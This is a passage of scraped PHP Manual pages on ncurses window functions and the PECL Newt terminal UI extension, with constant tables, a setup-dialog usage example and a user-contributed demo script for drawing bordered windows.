  • ncurses_wmouse_trafo »
  • PHP Manual
  • Ncurses Functions
  • Draws a horizontal line in a window at current position using an attributed character and max. n characters long

ncurses_whline

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_whline — Draws a horizontal line in a window at current position using an attributed character and max. n characters long

Description

int ncurses_whline ( resource $window , int $charattr , int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


Transforms window/stdscr coordinates

  • « ncurses_whline
  • ncurses_wmove »
  • PHP Manual
  • Ncurses Functions
  • Transforms window/stdscr coordinates

ncurses_wmouse_trafo

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wmouse_trafo — Transforms window/stdscr coordinates

Description

bool ncurses_wmouse_trafo ( resource $window , int &$y , int &$x , bool $toscreen )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

x

y

toscreen

User Contributed Notes

There are no user contributed notes for this page.


Moves windows output position

  • « ncurses_wmouse_trafo
  • ncurses_wnoutrefresh »
  • PHP Manual
  • Ncurses Functions
  • Moves windows output position

ncurses_wmove

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wmove — Moves windows output position

Description

int ncurses_wmove ( resource $window , int $y , int $x )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

y

x

User Contributed Notes

There are no user contributed notes for this page.


Copies window to virtual screen

  • « ncurses_wmove
  • ncurses_wrefresh »
  • PHP Manual
  • Ncurses Functions
  • Copies window to virtual screen

ncurses_wnoutrefresh

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wnoutrefresh — Copies window to virtual screen

Description

int ncurses_wnoutrefresh ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.


Refresh window on terminal screen

  • « ncurses_wnoutrefresh
  • ncurses_wstandend »
  • PHP Manual
  • Ncurses Functions
  • Refresh window on terminal screen

ncurses_wrefresh

(PHP 4 >= 4.2.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wrefresh — Refresh window on terminal screen

Description

int ncurses_wrefresh ( resource $window )
Warning

This function is EXPERIMENTAL. The behaviour of this function, its name, and surrounding documentation may change without notice in a future release of PHP. This function should be used at your own risk.

Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

php at kormoc dot com 28-Nov-2005 06:08
Keep in mind, you need to do a ncurses_refresh before any window drawing options to display the window correctly.

for example
ncurses_wclear($window);
ncurses_wborder($window, 0, 0, 0, 0, 0, 0, 0, 0);
ncurses_wrefresh($window);

won't work correctly the first time though the loop (not sure why),

but throw on a ncruses_refresh at the top and it displays correctly
joeldegan AT yahoo.com 15-Dec-2002 09:24
Here is a functional example of drawing dynamic windows and refreshing them using ncurses_wrefresh.

This draws the main window, borders it, creates a small window borders it, creates a lower window and borders it as well. it also shows an example of doing a little backgrounding..

<?php
/*
the window will look somewhat like this...
+--------------------------------------+
|+---+                                  |
||   |                                  |
|+---+                                 |
|                                        |
|+------------------------------------+|
||                                      ||
|+------------------------------------+|
+--------------------------------------+
*/

$n=0;
$a = ncurses_init();
ncurses_border(0,0, 0,0, 0,0, 0,0);
$z = ncurses_newwin ( 15, 15, 10, 10);

if(ncurses_has_colors()){
    ncurses_start_color();
        ncurses_init_pair(1,NCURSES_COLOR_RED,NCURSES_COLOR_BLACK);
        ncurses_init_pair(2,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(3,NCURSES_COLOR_YELLOW,NCURSES_COLOR_BLACK);
        ncurses_init_pair(4,NCURSES_COLOR_BLUE,NCURSES_COLOR_BLACK);
        ncurses_init_pair(5,NCURSES_COLOR_MAGENTA,NCURSES_COLOR_BLACK);
        ncurses_init_pair(6,NCURSES_COLOR_CYAN,NCURSES_COLOR_BLACK);
        ncurses_init_pair(7,NCURSES_COLOR_WHITE,NCURSES_COLOR_BLACK);
}//fi

while(1){
  for ($x=1; $x<80; $x++) {
    for ($y=1; $y<24; $y++) {
          $n++;
          ncurses_move($y,$x);
          ncurses_addch($n+64);
          ncurses_color_set($n%8);
          if($n>26)$n=0;
    }//rof
  }//rof

// border the main window
ncurses_border(0,0, 0,0, 0,0, 0,0);
ncurses_refresh();

// create a new little window and border it.
$z = ncurses_newwin ( 10, 10, 2, 2);
ncurses_wborder($z,0,0, 0,0, 0,0, 0,0); // undocumented function, border the window
ncurses_wrefresh($z); // show it

// get our maximum y and x values
$current = getmaxxy();
$lines = $current[1];
$cols = $current[0];

// create a lower window which is dynamically sized...
$c = ncurses_newwin (10, $cols-4, $lines-11, 2);
ncurses_wborder($c,0,0, 0,0, 0,0, 0,0); // border it
ncurses_wrefresh($c); // show it
ncurses_getch(); // wait for user to press key
ncurses_clear();// clear and then redraw..

}//wend

function getmaxxy(){
    $rez = `/usr/X11R6/bin/resize`;
    $rez = explode("\n",$rez);
    while(list($key,$val)=each($rez)){
        $a=explode("=",$val);
        if(trim($a[0])=="COLUMNS"){ $COLUMNS = $a[1]; }
        if(trim($a[0])=="LINES"){ $LINES = $a[1]; }
    }//
    $retval[0]=$COLUMNS;
    $retval[1]=$LINES;
   return $retval;
}

?>


End standout mode for a window

  • « ncurses_wrefresh
  • ncurses_wstandout »
  • PHP Manual
  • Ncurses Functions
  • End standout mode for a window

ncurses_wstandend

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wstandend — End standout mode for a window

Description

int ncurses_wstandend ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.


Enter standout mode for a window

  • « ncurses_wstandend
  • ncurses_wvline »
  • PHP Manual
  • Ncurses Functions
  • Enter standout mode for a window

ncurses_wstandout

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wstandout — Enter standout mode for a window

Description

int ncurses_wstandout ( resource $window )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

User Contributed Notes

There are no user contributed notes for this page.


Draws a vertical line in a window at current position using an attributed character and max. n characters long

  • « ncurses_wstandout
  • Newt »
  • PHP Manual
  • Ncurses Functions
  • Draws a vertical line in a window at current position using an attributed character and max. n characters long

ncurses_wvline

(PHP 4 >= 4.3.0, PHP 5 < 5.3.0, PECL ncurses >= 1.0.0)

ncurses_wvline — Draws a vertical line in a window at current position using an attributed character and max. n characters long

Description

int ncurses_wvline ( resource $window , int $charattr , int $n )
Warning

This function is currently not documented; only its argument list is available.

Parameters

window

charattr

n

User Contributed Notes

There are no user contributed notes for this page.


Newt

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
    • Newt form exit reasons
    • Newt colorsets
    • Newt argument flags
    • Newt Flags Sense
    • Newt Components Flags
    • File Descriptor Flags
    • Checkbox Tree Flags
    • Entry Flags
    • Listbox Flags
    • Textbox Flags
    • Form Flags
    • Newt Keys
    • Newt Anchors
    • Grid Flags
  • Examples
    • Basic usage
  • Newt Functions
    • newt_bell — Send a beep to the terminal
    • newt_button_bar — This function returns a grid containing the buttons created.
    • newt_button — Create a new button
    • newt_centered_window — Open a centered window of the specified size
    • newt_checkbox_get_value — Retreives value of checkox resource
    • newt_checkbox_set_flags — Configures checkbox resource
    • newt_checkbox_set_value — Sets the value of the checkbox
    • newt_checkbox_tree_add_item — Adds new item to the checkbox tree
    • newt_checkbox_tree_find_item — Finds an item in the checkbox tree
    • newt_checkbox_tree_get_current — Returns checkbox tree selected item
    • newt_checkbox_tree_get_entry_value — Description
    • newt_checkbox_tree_get_multi_selection — Description
    • newt_checkbox_tree_get_selection — Description
    • newt_checkbox_tree_multi — Description
    • newt_checkbox_tree_set_current — Description
    • newt_checkbox_tree_set_entry_value — Description
    • newt_checkbox_tree_set_entry — Description
    • newt_checkbox_tree_set_width — Description
    • newt_checkbox_tree — Description
    • newt_checkbox — Description
    • newt_clear_key_buffer — Discards the contents of the terminal's input buffer without waiting for additional input
    • newt_cls — Description
    • newt_compact_button — Description
    • newt_component_add_callback — Description
    • newt_component_takes_focus — Description
    • newt_create_grid — Description
    • newt_cursor_off — Description
    • newt_cursor_on — Description
    • newt_delay — Description
    • newt_draw_form — Description
    • newt_draw_root_text — Displays the string text at the position indicated
    • newt_entry_get_value — Description
    • newt_entry_set_filter — Description
    • newt_entry_set_flags — Description
    • newt_entry_set — Description
    • newt_entry — Description
    • newt_finished — Uninitializes newt interface
    • newt_form_add_component — Adds a single component to the form
    • newt_form_add_components — Add several components to the form
    • newt_form_add_hot_key — Description
    • newt_form_destroy — Destroys a form
    • newt_form_get_current — Description
    • newt_form_run — Runs a form
    • newt_form_set_background — Description
    • newt_form_set_height — Description
    • newt_form_set_size — Description
    • newt_form_set_timer — Description
    • newt_form_set_width — Description
    • newt_form_watch_fd — Description
    • newt_form — Create a form
    • newt_get_screen_size — Fills in the passed references with the current size of the terminal
    • newt_grid_add_components_to_form — Description
    • newt_grid_basic_window — Description
    • newt_grid_free — Description
    • newt_grid_get_size — Description
    • newt_grid_h_close_stacked — Description
    • newt_grid_h_stacked — Description
    • newt_grid_place — Description
    • newt_grid_set_field — Description
    • newt_grid_simple_window — Description
    • newt_grid_v_close_stacked — Description
    • newt_grid_v_stacked — Description
    • newt_grid_wrapped_window_at — Description
    • newt_grid_wrapped_window — Description
    • newt_init — Initialize newt
    • newt_label_set_text — Description
    • newt_label — Description
    • newt_listbox_append_entry — Description
    • newt_listbox_clear_selection — Description
    • newt_listbox_clear — Description
    • newt_listbox_delete_entry — Description
    • newt_listbox_get_current — Description
    • newt_listbox_get_selection — Description
    • newt_listbox_insert_entry — Description
    • newt_listbox_item_count — Description
    • newt_listbox_select_item — Description
    • newt_listbox_set_current_by_key — Description
    • newt_listbox_set_current — Description
    • newt_listbox_set_data — Description
    • newt_listbox_set_entry — Description
    • newt_listbox_set_width — Description
    • newt_listbox — Description
    • newt_listitem_get_data — Description
    • newt_listitem_set — Description
    • newt_listitem — Description
    • newt_open_window — Open a window of the specified size and position
    • newt_pop_help_line — Replaces the current help line with the one from the stack
    • newt_pop_window — Removes the top window from the display
    • newt_push_help_line — Saves the current help line on a stack, and displays the new line
    • newt_radio_get_current — Description
    • newt_radiobutton — Description
    • newt_redraw_help_line — Description
    • newt_reflow_text — Description
    • newt_refresh — Updates modified portions of the screen
    • newt_resize_screen — Description
    • newt_resume — Resume using the newt interface after calling newt_suspend
    • newt_run_form — Runs a form
    • newt_scale_set — Description
    • newt_scale — Description
    • newt_scrollbar_set — Description
    • newt_set_help_callback — Description
    • newt_set_suspend_callback — Set a callback function which gets invoked when user presses the suspend key
    • newt_suspend — Tells newt to return the terminal to its initial state
    • newt_textbox_get_num_lines — Description
    • newt_textbox_reflowed — Description
    • newt_textbox_set_height — Description
    • newt_textbox_set_text — Description
    • newt_textbox — Description
    • newt_vertical_scrollbar — Description
    • newt_wait_for_key — Doesn't return until a key has been pressed
    • newt_win_choice — Description
    • newt_win_entries — Description
    • newt_win_menu — Description
    • newt_win_message — Description
    • newt_win_messagev — Description
    • newt_win_ternary — Description

User Contributed Notes

There are no user contributed notes for this page.


Introduction

This is a PHP language extension for RedHat Newt library, a terminal-based window and widget library for writing applications with user friendly interface. Once this extension is enabled in PHP it will provide the use of Newt widgets, such as windows, buttons, checkboxes, radiobuttons, labels, editboxes, scrolls, textareas, scales, etc. Use of this extension is very similar to the original Newt API of C programming language.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

This module uses the functions of the RedHat Newt library. You need libnewt version >= 0.51.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/newt.

In PHP 4 this PECL extensions source can be found in the ext/ directory within the PHP source or at the PECL link above. In order to use these functions you must compile CGI or CLI PHP with newt support by using the --with-newt[=DIR] configure option.

Note:

This extension is not available for Windows platform.

You may need also curses and slang libraries, in order to compile this extension. To specify locations of these libraries, use the following configuration options: --with-curses-dir=/path/to/libcurses --with-slang-dir=/path/to/libslang

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension uses two resource types: "newt component" and "newt grid".

Resource type "newt component" is returned by functions, which create common newt widgets (for example: newt_button())

Resource type "newt grid" is a special link identifier for components, returned by newt grid factory functions (for example: newt_create_grid())

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

Table of Contents

  • Newt form exit reasons
  • Newt colorsets
  • Newt argument flags
  • Newt Flags Sense
  • Newt Components Flags
  • File Descriptor Flags
  • Checkbox Tree Flags
  • Entry Flags
  • Listbox Flags
  • Textbox Flags
  • Form Flags
  • Newt Keys
  • Newt Anchors
  • Grid Flags

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

User Contributed Notes

There are no user contributed notes for this page.


Newt form exit reasons

Newt form exit reasons
constant | meaning
NEWT_EXIT_HOTKEY | hotkey defined by newt_form_add_hot_key() was pressed
NEWT_EXIT_COMPONENT | some component has caused form to exit
NEWT_EXIT_FDREADY | file descriptor specified in newt_form_watch_fd() is ready to be read or written to
NEWT_EXIT_TIMER | time specified in newt_form_set_timer() has elapsed

User Contributed Notes

There are no user contributed notes for this page.


Newt colorsets

Newt colorsets
constant | meaning
NEWT_COLORSET_ROOT |
NEWT_COLORSET_BORDER |
NEWT_COLORSET_WINDOW |
NEWT_COLORSET_SHADOW |
NEWT_COLORSET_TITLE |
NEWT_COLORSET_BUTTON |
NEWT_COLORSET_ACTBUTTON |
NEWT_COLORSET_CHECKBOX |
NEWT_COLORSET_ACTCHECKBOX |
NEWT_COLORSET_ENTRY |
NEWT_COLORSET_LABEL |
NEWT_COLORSET_LISTBOX |
NEWT_COLORSET_ACTLISTBOX |
NEWT_COLORSET_TEXTBOX |
NEWT_COLORSET_ACTTEXTBOX |
NEWT_COLORSET_HELPLINE |
NEWT_COLORSET_ROOTTEXT |
NEWT_COLORSET_EMPTYSCALE |
NEWT_COLORSET_FULLSCALE |
NEWT_COLORSET_DISENTRY |
NEWT_COLORSET_COMPACTBUTTON |
NEWT_COLORSET_ACTSELLISTBOX |
NEWT_COLORSET_SELLISTBOX |

User Contributed Notes

There are no user contributed notes for this page.


Newt argument flags

Newt argument flags
constant | meaning
NEWT_ARG_LAST |
NEWT_ARG_APPEND |

User Contributed Notes

There are no user contributed notes for this page.


Newt Flags Sense

Newt Flags Sense
constant | meaning
NEWT_FLAGS_SET |
NEWT_FLAGS_RESET |
NEWT_FLAGS_TOGGLE |

User Contributed Notes

There are no user contributed notes for this page.


Newt Components Flags

Newt Components Flags
constant | meaning
NEWT_FLAG_RETURNEXIT | Exit form, when component is activated
NEWT_FLAG_HIDDEN | Component is hidden
NEWT_FLAG_SCROLL | Component is scrollable
NEWT_FLAG_DISABLED | Component is disabled
NEWT_FLAG_BORDER |
NEWT_FLAG_WRAP | Wrap text
NEWT_FLAG_NOF12 | Don't exit form on pressing F12
NEWT_FLAG_MULTIPLE |
NEWT_FLAG_SELECTED | Component is selected
NEWT_FLAG_CHECKBOX | Component is checkbox
NEWT_FLAG_PASSWORD | Entry component is password entry
NEWT_FLAG_SHOWCURSOR | Show cursor

User Contributed Notes

There are no user contributed notes for this page.


File Descriptor Flags

File Descriptor Flags
constant | meaning
NEWT_FD_READ |
NEWT_FD_WRITE |
NEWT_FD_EXCEPT |

User Contributed Notes

There are no user contributed notes for this page.


Checkbox Tree Flags

Checkbox Tree Flags
constant | meaning
NEWT_CHECKBOXTREE_UNSELECTABLE |
NEWT_CHECKBOXTREE_HIDE_BOX |
NEWT_CHECKBOXTREE_COLLAPSED |
NEWT_CHECKBOXTREE_EXPANDED |
NEWT_CHECKBOXTREE_UNSELECTED |
NEWT_CHECKBOXTREE_SELECTED |

User Contributed Notes

There are no user contributed notes for this page.


Entry Flags

Entry Flags
constant | meaning
NEWT_ENTRY_SCROLL |
NEWT_ENTRY_HIDDEN |
NEWT_ENTRY_RETURNEXIT |
NEWT_ENTRY_DISABLED |

User Contributed Notes

There are no user contributed notes for this page.


Listbox Flags

Listbox Flags
constant | meaning
NEWT_LISTBOX_RETURNEXIT |

User Contributed Notes

There are no user contributed notes for this page.


Textbox Flags

Textbox Flags
constant | meaning
NEWT_TEXTBOX_WRAP | Wrap text in the textbox
NEWT_TEXTBOX_SCROLL | Scroll text in the textbox

User Contributed Notes

There are no user contributed notes for this page.


Form Flags

Form Flags
constant | meaning
NEWT_FORM_NOF12 | Don't exit form on F12 press

User Contributed Notes

There are no user contributed notes for this page.


Newt Keys

Newt Keys
constant | meaning
NEWT_KEY_TAB |
NEWT_KEY_ENTER |
NEWT_KEY_SUSPEND |
NEWT_KEY_ESCAPE |
NEWT_KEY_RETURN |
NEWT_KEY_EXTRA_BASE |
NEWT_KEY_UP |
NEWT_KEY_DOWN |
NEWT_KEY_LEFT |
NEWT_KEY_RIGHT |
NEWT_KEY_BKSPC |
NEWT_KEY_DELETE |
NEWT_KEY_HOME |
NEWT_KEY_END |
NEWT_KEY_UNTAB |
NEWT_KEY_PGUP |
NEWT_KEY_PGDN |
NEWT_KEY_INSERT |
NEWT_KEY_F1 |
NEWT_KEY_F2 |
NEWT_KEY_F3 |
NEWT_KEY_F4 |
NEWT_KEY_F5 |
NEWT_KEY_F6 |
NEWT_KEY_F7 |
NEWT_KEY_F8 |
NEWT_KEY_F9 |
NEWT_KEY_F10 |
NEWT_KEY_F11 |
NEWT_KEY_F12 |
NEWT_KEY_RESIZE |

User Contributed Notes

There are no user contributed notes for this page.


Newt Anchors

Newt Anchors
constant | meaning
NEWT_ANCHOR_LEFT |
NEWT_ANCHOR_RIGHT |
NEWT_ANCHOR_TOP |
NEWT_ANCHOR_BOTTOM |

User Contributed Notes

There are no user contributed notes for this page.


Grid Flags

Grid Flags
constant | meaning
NEWT_GRID_FLAG_GROWX |
NEWT_GRID_FLAG_GROWY |
NEWT_GRID_EMPTY |
NEWT_GRID_COMPONENT |
NEWT_GRID_SUBGRID |

User Contributed Notes

There are no user contributed notes for this page.


Basic usage

This example is a PHP port of RedHat 'setup' utility dialog, executed in text mode.

Example #1 Newt Usage Example

<?php
newt_init ();
newt_cls ();

newt_draw_root_text (0, 0, "Test Mode Setup Utility 1.12");
newt_push_help_line (null);
newt_draw_root_text (-30, 0, "(c) 1999-2002 RedHat, Inc");

newt_get_screen_size ($rows, $cols);

newt_open_window ($rows/2-17, $cols/2-10, 34, 17, "Choose a Tool");

$form = newt_form ();

$list = newt_listbox (3, 2, 10);

foreach (array (
    "Authentication configuration",
    "Firewall configuration",
    "Mouse configuration",
    "Network configuration",
    "Printer configuration",
    "System services") as $l_item)
{
    newt_listbox_add_entry ($list, $l_item, $l_item);
}

$b1 = newt_button (5, 12, "Run Tool");
$b2 = newt_button (21, 12, "Quit");

newt_form_add_component ($form, $list);
newt_form_add_components ($form, array($b1, $b2));

newt_refresh ();
newt_run_form ($form);

newt_pop_window ();
newt_pop_help_line ();
newt_finished ();
newt_form_destroy ($form);
?>

User Contributed Notes

There are no user contributed notes for this page.


Newt Functions

Table of Contents

  • newt_bell — Send a beep to the terminal
  • newt_button_bar — This function returns a grid containing the buttons created.
  • newt_button — Create a new button
  • newt_centered_window — Open a centered window of the specified size
  • newt_checkbox_get_value — Retreives value of checkox resource
  • newt_checkbox_set_flags — Configures checkbox resource
  • newt_checkbox_set_value — Sets the value of the checkbox
  • newt_checkbox_tree_add_item — Adds new item to the checkbox tree
  • newt_checkbox_tree_find_item — Finds an item in the checkbox tree
  • newt_checkbox_tree_get_current — Returns checkbox tree selected item
  • newt_checkbox_tree_get_entry_value — Description
  • newt_checkbox_tree_get_multi_selection — Description
  • newt_checkbox_tree_get_selection — Description
  • newt_checkbox_tree_multi — Description
  • newt_checkbox_tree_set_current — Description
  • newt_checkbox_tree_set_entry_value — Description
  • newt_checkbox_tree_set_entry — Description
  • newt_checkbox_tree_set_width — Description
  • newt_checkbox_tree — Description
  • newt_checkbox — Description
  • newt_clear_key_buffer — Discards the contents of the terminal's input buffer without waiting for additional input
  • newt_cls — Description
  • newt_compact_button — Description
  • newt_component_add_callback — Description
  • newt_component_takes_focus — Description
  • newt_create_grid — Description
  • newt_cursor_off — Description
  • newt_cursor_on — Description
  • newt_delay — Description
  • newt_draw_form — Description
  • newt_draw_root_text — Displays the string text at the position indicated
  • newt_entry_get_value — Description
  • newt_entry_set_filter — Description
  • newt_entry_set_flags — Description
  • newt_entry_set — Description
  • newt_entry — Description
  • newt_finished — Uninitializes newt interface
  • newt_form_add_component — Adds a single component to the form
  • newt_form_add_components — Add several components to the form
  • newt_form_add_hot_key — Description
  • newt_form_destroy — Destroys a form
  • newt_form_get_current — Description
  • newt_form_run — Runs a form
  • newt_form_set_background — Description
  • newt_form_set_height — Description
  • newt_form_set_size — Description
  • newt_form_set_timer — Description
  • newt_form_set_width — Description
  • newt_form_watch_fd — Description
  • newt_form — Create a form
  • newt_get_screen_size — Fills in the passed references with the current size of the terminal
  • newt_grid_add_components_to_form — Description
  • newt_grid_basic_window — Description
  • newt_grid_free — Description
  • newt_grid_get_size — Description
  • newt_grid_h_close_stacked — Description
  • newt_grid_h_stacked — Description
  • newt_grid_place — Description
  • newt_grid_set_field — Description
  • newt_grid_simple_window — Description
  • newt_grid_v_close_stacked — Description
  • newt_grid_v_stacked — Description
  • newt_grid_wrapped_window_at — Description
  • newt_grid_wrapped_window — Description
  • newt_init — Initialize newt
  • newt_label_set_text — Description
  • newt_label — Description
  • newt_listbox_append_entry — Description
  • newt_listbox_clear_selection — Description
  • newt_listbox_clear — Description
  • newt_listbox_delete_entry — Description
  • newt_listbox_get_current — Description
  • newt_listbox_get_selection — Description
  • newt_listbox_insert_entry — Description
  • newt_listbox_item_count — Description
  • newt_listbox_select_item — Description
  • newt_listbox_set_current_by_key — Description
  • newt_listbox_set_current — Description
  • newt_listbox_set_data — Description
  • newt_listbox_set_entry — Description
  • newt_listbox_set_width — Description
  • newt_listbox — Description
  • newt_listitem_get_data — Description
  • newt_listitem_set — Description
  • newt_listitem — Description
  • newt_open_window — Open a window of the specified size and position
  • newt_pop_help_line — Replaces the current help line with the one from the stack
  • newt_pop_window — Removes the top window from the display
  • newt_push_help_line — Saves the current help line on a stack, and displays the new line
  • newt_radio_get_current — Description
  • newt_radiobutton — Description
  • newt_redraw_help_line — Description
  • newt_reflow_text — Description
  • newt_refresh — Updates modified portions of the screen
  • newt_resize_screen — Description
  • newt_resume — Resume using the newt interface after calling newt_suspend
  • newt_run_form — Runs a form
  • newt_scale_set — Description
  • newt_scale — Description
  • newt_scrollbar_set — Description
  • newt_set_help_callback — Description
  • newt_set_suspend_callback — Set a callback function which gets invoked when user presses the suspend key
  • newt_suspend — Tells newt to return the terminal to its initial state
  • newt_textbox_get_num_lines — Description
  • newt_textbox_reflowed — Description
  • newt_textbox_set_height — Description
  • newt_textbox_set_text — Description
  • newt_textbox — Description
  • newt_vertical_scrollbar — Description
  • newt_wait_for_key — Doesn't return until a key has been pressed
  • newt_win_choice — Description
  • newt_win_entries — Description
  • newt_win_menu — Description
  • newt_win_message — Description
  • newt_win_messagev — Description
  • newt_win_ternary — Description

User Contributed Notes

There are no user contributed notes for this page.


Send a beep to the terminal

  • « Newt Functions
  • newt_button_bar »
  • PHP Manual
  • Newt Functions
  • Send a beep to the terminal

newt_bell

(PECL newt >= 0.1)

newt_bell — Send a beep to the terminal

Description

void newt_bell ( void )

This function sends a beep to the terminal.

Note:

Depending on the terminal's settings, this beep may or may not be audible.

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


This function returns a grid containing the buttons created.

  • « newt_bell
  • newt_button »
  • PHP Manual
  • Newt Functions
  • This function returns a grid containing the buttons created.

newt_button_bar

(PECL newt >= 0.1)

newt_button_bar — This function returns a grid containing the buttons created.

Description

resource newt_button_bar ( array &$buttons )

This function returns a grid containing the buttons created.

Parameters

buttons

Return Values

Returns grid containing the buttons created.

User Contributed Notes

There are no user contributed notes for this page.


Create a new button

  • « newt_button_bar
  • newt_centered_window »
  • PHP Manual
  • Newt Functions
  • Create a new button

newt_button

(PECL newt >= 0.1)

newt_button — Create a new button

Description

resource newt_button ( int $left , int $top , string $text )

Creates a new button.

Parameters

left

X-coordinate of the button.

top

Y-coordinate of the button.

text

The text which should be displayed in the button.

Return Values

Returns a resource link to the created button component, or FALSE on error.

Examples

Example #1 A newt_button() example

<?php

$form = newt_form();

$ok_button = newt_button(5, 12, "Run Tool");

newt_form_add_component($form, $ok_button);

?>

See Also

  • newt_button_bar() - This function returns a grid containing the buttons created.

User Contributed Notes

There are no user contributed notes for this page.


Open a centered window of the specified size

  • « newt_button
  • newt_checkbox_get_value »
  • PHP Manual
  • Newt Functions
  • Open a centered window of the specified size

newt_centered_window

(PECL newt >= 0.1)

newt_centered_window — Open a centered window of the specified size

Description

int newt_centered_window ( int $width , int $height [, string $title ] )

Open a centered window of the specified size.

Parameters

width

Window width

height

Window height

title

Window title

Return Values

Undefined value.

See Also

  • newt_pop_window() - Removes the top window from the display
  • newt_open_window() - Open a window of the specified size and position

User Contributed Notes

There are no user contributed notes for this page.


Retreives value of checkox resource

  • « newt_centered_window
  • newt_checkbox_set_flags »
  • PHP Manual
  • Newt Functions
  • Retreives value of checkox resource

newt_checkbox_get_value

(PECL newt >= 0.1)

newt_checkbox_get_value — Retreives value of checkox resource

Description

string newt_checkbox_get_value ( resource $checkbox )

This function returns the character in the sequence which indicates the current value of the checkbox.

Parameters

checkbox

Return Values

Returns character indicating the value of the checkbox.

User Contributed Notes

There are no user contributed notes for this page.


Configures checkbox resource

  • « newt_checkbox_get_value
  • newt_checkbox_set_value »
  • PHP Manual
  • Newt Functions
  • Configures checkbox resource

newt_checkbox_set_flags

(PECL newt >= 0.1)

newt_checkbox_set_flags — Configures checkbox resource

Description

void newt_checkbox_set_flags ( resource $checkbox , int $flags , int $sense )

This function allows to set various flags on checkbox resource.

Parameters

checkbox

flags

sense

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Sets the value of the checkbox

  • « newt_checkbox_set_flags
  • newt_checkbox_tree_add_item »
  • PHP Manual
  • Newt Functions
  • Sets the value of the checkbox

newt_checkbox_set_value

(PECL newt >= 0.1)

newt_checkbox_set_value — Sets the value of the checkbox

Description

void newt_checkbox_set_value ( resource $checkbox , string $value )

This function allows to set the current value of the checkbox resource.

Parameters

checkbox

value

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Adds new item to the checkbox tree

  • « newt_checkbox_set_value
  • newt_checkbox_tree_find_item »
  • PHP Manual
  • Newt Functions
  • Adds new item to the checkbox tree

newt_checkbox_tree_add_item

(PECL newt >= 0.1)

newt_checkbox_tree_add_item — Adds new item to the checkbox tree

Description

void newt_checkbox_tree_add_item ( resource $checkboxtree , string $text , mixed $data , int $flags , int $index [, int $... ] )

This function allows to add new item to the checkbox tree.

Parameters

checkboxtree

text

data

flags

index

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


Finds an item in the checkbox tree

  • « newt_checkbox_tree_add_item
  • newt_checkbox_tree_get_current »
  • PHP Manual
  • Newt Functions
  • Finds an item in the checkbox tree

newt_checkbox_tree_find_item

(PECL newt >= 0.1)

newt_checkbox_tree_find_item — Finds an item in the checkbox tree

Description

array newt_checkbox_tree_find_item ( resource $checkboxtree , mixed $data )

Finds an item in the checkbox tree by item's data.

Parameters

checkboxtree

data

Return Values

Returns checkbox tree item resource, or NULL if it wasn't found.

User Contributed Notes

There are no user contributed notes for this page.


Returns checkbox tree selected item

  • « newt_checkbox_tree_find_item
  • newt_checkbox_tree_get_entry_value »
  • PHP Manual
  • Newt Functions
  • Returns checkbox tree selected item

newt_checkbox_tree_get_current

(PECL newt >= 0.1)

newt_checkbox_tree_get_current — Returns checkbox tree selected item

Description

mixed newt_checkbox_tree_get_current ( resource $checkboxtree )

This method returns checkbox tree selected tem.

Parameters

checkboxtree

Return Values

Returns current (selected) checkbox tree item.

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_get_current
  • newt_checkbox_tree_get_multi_selection »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree_get_entry_value

(PECL newt >= 0.1)

newt_checkbox_tree_get_entry_value —

Description

string newt_checkbox_tree_get_entry_value ( resource $checkboxtree , mixed $data )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

data

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_get_entry_value
  • newt_checkbox_tree_get_selection »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree_get_multi_selection

(PECL newt >= 0.1)

newt_checkbox_tree_get_multi_selection —

Description

array newt_checkbox_tree_get_multi_selection ( resource $checkboxtree , string $seqnum )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

seqnum

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_get_multi_selection
  • newt_checkbox_tree_multi »
  • PHP Manual
  • Newt Functions
  • Description

newt_checkbox_tree_get_selection

(PECL newt >= 0.1)

newt_checkbox_tree_get_selection —

Description

array newt_checkbox_tree_get_selection ( resource $checkboxtree )
Warning

This function is currently not documented; only its argument list is available.

Parameters

checkboxtree

Return Values

User Contributed Notes

There are no user contributed notes for this page.


Description

  • « newt_checkbox_tree_get_selection
  • newt_checkbox_tree_set_current »
  • PHP Manual
